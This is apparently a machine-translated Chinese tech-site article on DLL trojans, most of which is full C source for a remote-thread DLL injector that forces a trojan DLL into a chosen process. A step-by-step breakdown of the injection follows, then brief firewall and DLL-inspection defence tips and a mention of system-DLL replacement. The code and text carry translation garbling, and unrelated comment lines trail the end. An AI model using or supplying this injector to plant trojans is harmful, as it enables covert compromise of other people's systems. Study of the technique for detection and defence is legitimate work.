DLL可以在编程中做出巨大贡献,它提供了重用常见代码的能力。但是,就像一门复杂的武术一样,如果掌握在义人手中,它可以帮助他争取正义。但是,如果掌握在邪恶者的手中,它将不可避免地在河流和湖泊上掀起一场血腥的风暴。 DLL只是其中一种武术。 DLL变得神奇之后,它不再是普通的DLL程序,而是DLL Trojan马,这是一种恶意病毒,一夜之间摧毁了Troy的国家。
DLL木马的原理
DLL Trojan horse的实现原理是程序员将DLL中包含Trojan horse程序代码,然后在目标主机中选择特定的目标进程,并以某种方式强行指定该进程来调用包含以下内容的DLL。木马程序,最终达到入侵目标系统的目的。
DLL程序本身的特征决定了以这种形式加载木马程序不仅可行,而且具有良好的隐蔽性:
(1)DLL程序被映射到主机进程的地址空间,它可以共享主机进程的资源,并在目标主机级别根据主机进程非法访问相应的系统资源;
([2)DLL程序没有独立的进程地址空间,可以避免在目标主机中留下“线索”,并达到隐藏自身的目的。
DLL木马实现了“真正的隐藏”,在任务管理器中看不到木马“进程”,它已完全集成到系统内核中。对应于“真实隐藏”是“假隐藏”。 “伪装”木马将自身注册为服务。尽管此过程在任务管理器中不可见,但“伪造的隐藏”木马实质上具有独立的处理空间。 “假隐藏”仅适用于Windows9x系统。对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册的服务。
DLL木马注入其他进程的方法是远程线程插入。
远程线程插入技术是指通过在另一个进程中创建远程线程来进入该进程的内存地址空间。在以DLL形式实现木马程序之后,您需要使用插入到目标进程中的远程线程将木马DLL插入到目标进程的地址空间中,即,使用此线程加载木马程序通过调用WindowsAPILoadLibrary函数来实现木马DLL,从而实现对系统木马的侵害。
DLL木马注入程序
这涉及到非常重要的WindowsAPI-CreateRemoteThread。相反,我们习惯于使用CreateThreadAPI函数只能在进程本身内生成一个新线程,并且创建的新线程与主线程共享地址空间和其他资源。 CreateRemoteThread是不同的,它可以在另一个进程中生成线程! CreateRemoteThread具有以下特征:
(1)CreateRemoteThread具有一个比CreateThread多的参数hProcess。该参数用于指定创建线程的远程进程。函数原型为:
HANDLECreateRemoteThread(
HANDLEhProcess,//远程进程句柄
LPSECURITY_ATTRIBUTESlpThreadAttributes,
SIZE_TdwStackSize,
LPTHREAD_START_ROUTINElpStartAddress,
LPVOIDlpParameter
DWORDdwCreationFlags,
LPDWORDlpThreadId
);
(2)线程函数的代码不能位于我们用来注入DLL木马程序的地址空间中。换句话说,我们不能认为我们自己编写函数并使用它是理所当然的此功能作为远程线程的入口功能;
([3)不能使用此进程的指针作为CreateRemoteThread的参数,因为此进程的内存空间与远程进程的内存空间不同。
以下程序由作者Shotgun的DLL Trojan注入程序简化(单击此处下载,我们也可以在经典书籍“ Windows Core Programming”中看到类似的示例),它将位于d盘的根目录中troydll.dll被插入ID为4000的进程中:
#include
#include
#include
voidCheckError(int,int,char *); //错误处理功能
PDWORDpdwThreadId;
HANDLEhRemoteThread,hRemoteProcess;
DWORDfdwCreate,dwStackSize,dwRemoteProcessId;
PWSTRpszLibFileRemote = NULL;
voidmain(intargc,char ** argv)
{
intiReturnCode;
charlpDllFullPathName [MAX_PATH];
WCHARpszLibFileName [MAX_PATH] = {0};
dwRemoteProcessId = 4000;
strcpy(lpDllFullPathName,“ d:\\ troydll.dll”);
///将DLL文件完整路径的ANSI代码转换为UNICODE代码
iReturnCode = MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,
lpDllFullPathName,strlen(lpDllFullPathName),
pszLibFileName,MAX_PATH);
CheckError(iReturnCode,0,“ MultByteToWideChar”);
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE,//允许VM写入
FALSE,dwRemoteProcessId);
CheckError((int)hRemoteProcess,NULL,“ RemoteProcessnotExistorAccessDenied!”);
//计算DLL路径名所需的内存空间
intcb =(1 + lstrlenW(pszLibFileName))* sizeof(WCHAR);
pszLibFileRemote =(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
CheckError((int)pszLibFileRemote,NULL,“ VirtualAllocEx”);
///将DLL的路径名复制到远程进程的内存空间中
iReturnCode = WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL);
CheckError(iReturnCode,false,“ WriteProcessMemory”);
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINEpfnStartAddr =(PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT(“ Kernel32”)),“ LoadLibraryW”);
CheckError((int)pfnStartAddr,NULL,“ GetProcAddress”);
//启动远程线程,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);
CheckError((int)hRemoteThread,NULL,“ CreateRemoteThread”);
//等待远程线程退出
WaitForSingleObject(hRemoteThread,INFINITE);
//清除站点
if(pszLibFileRemote!= NULL)
{
VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
}
if(hRemoteThread!= NULL)
{
CloseHandle(hRemoteThread);
}
if(hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
//错误处理函数CheckError()
voidCheckError(intiReturnCode,intiErrorCode,char * pErrorMsg)
{
if(iReturnCode == iErrorCode)
{
printf(“%sError:%d \ n \ n”,pErrorMsg,GetLastError());
//清除站点
if(pszLibFileRemote!= NULL)
{
VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
}
if(hRemoteThread!= NULL)
{
CloseHandle(hRemoteThread);
}
if(hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}
从DLL木马注入程序的源代码中,我们可以分析DLL木马注入的一般步骤:
(1)获取宿主进程(即要注入木马的进程)的进程IDdwRemoteProcessId;
([2)获取DLL的完整路径,并将其转换为宽字符模式pszLibFileName;
([3)使用WindowsAPIOpenProcess打开主机进程,应启用以下选项:
a.PROCESS_CREATE_THREAD:允许在主机进程中创建线程;
b.PROCESS_VM_OPERATION:允许主机进程中的VM操作;
c.PROCESS_VM_WRITE:允许VM写入主机进程。
(4)使用WindowsAPIVirtualAllocEx函数在远程线程的VM中分配DLL的完整路径范围字符所需的存储空间,并使用WindowsAPIWriteProcessMemory函数将完整路径写入存储空间;
(5)使用WindowsAPIGetProcAddress获取Kernel32模块中LoadLibraryW函数的地址,该函数将是稍后将启动的远程线程的入口函数;
(6)使用WindowsAPICreateRemoteThread启动远程线程,使用LoadLibraryW的地址作为远程线程的入口函数地址,并使用存储在主机进程分配空间中的完整DLL路径作为参数。线程入口函数启动指定的DLL;
([7)清理场景。
防止DLL木马
通过DLL木马原理和简单的DLL木马程序,我们了解了DLL木马的工作原理,可以帮助我们更好地了解DLL木马病毒的防治方法。
一般的木马在植入后需要打开网络端口才能与攻击程序进行通信,因此防火墙是抵御木马攻击的最佳方法。防火墙可以执行数据包过滤和检查。我们可以允许防火墙限制通信端口,并且仅允许系统接受来自一些特定端口的数据请求。这样,即使成功植入木马,攻击者也无法进入受感染的系统,并且防火墙会将攻击者与木马分开。
对于DLL木马,一种简单的观察方法可以帮助用户发现它。我们看一下运行过程所依赖的DLL。如果存在无法解释的DLL,我们可以断言该进程是宿主进程,并且系统已植入DLL Trojan。 “路高一英尺,魔术高一英尺。”如今,DLL木马也已经发展到更高的水平,它们不再看起来“无法解释”。在某些最新的木马中,已采用了先进的DLL陷阱技术。程序员用Trojan DLL替换了已知的系统DLL。木马DLL过滤所有函数调用。对于正常的调用,函数转发器用于直接转发到替换的系统DLL。对于事先同意的某些特殊情况,DLL将执行一些相应的操作。
本文只是对DLL木马最简单情况的介绍。如果读者对进一步的研究感兴趣,可以参考其他材料。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-355526-1.html
小子人太狂了要付出代价的
他马云高互联网也可能的确不需要行贿
台湾人现在不信蒋介石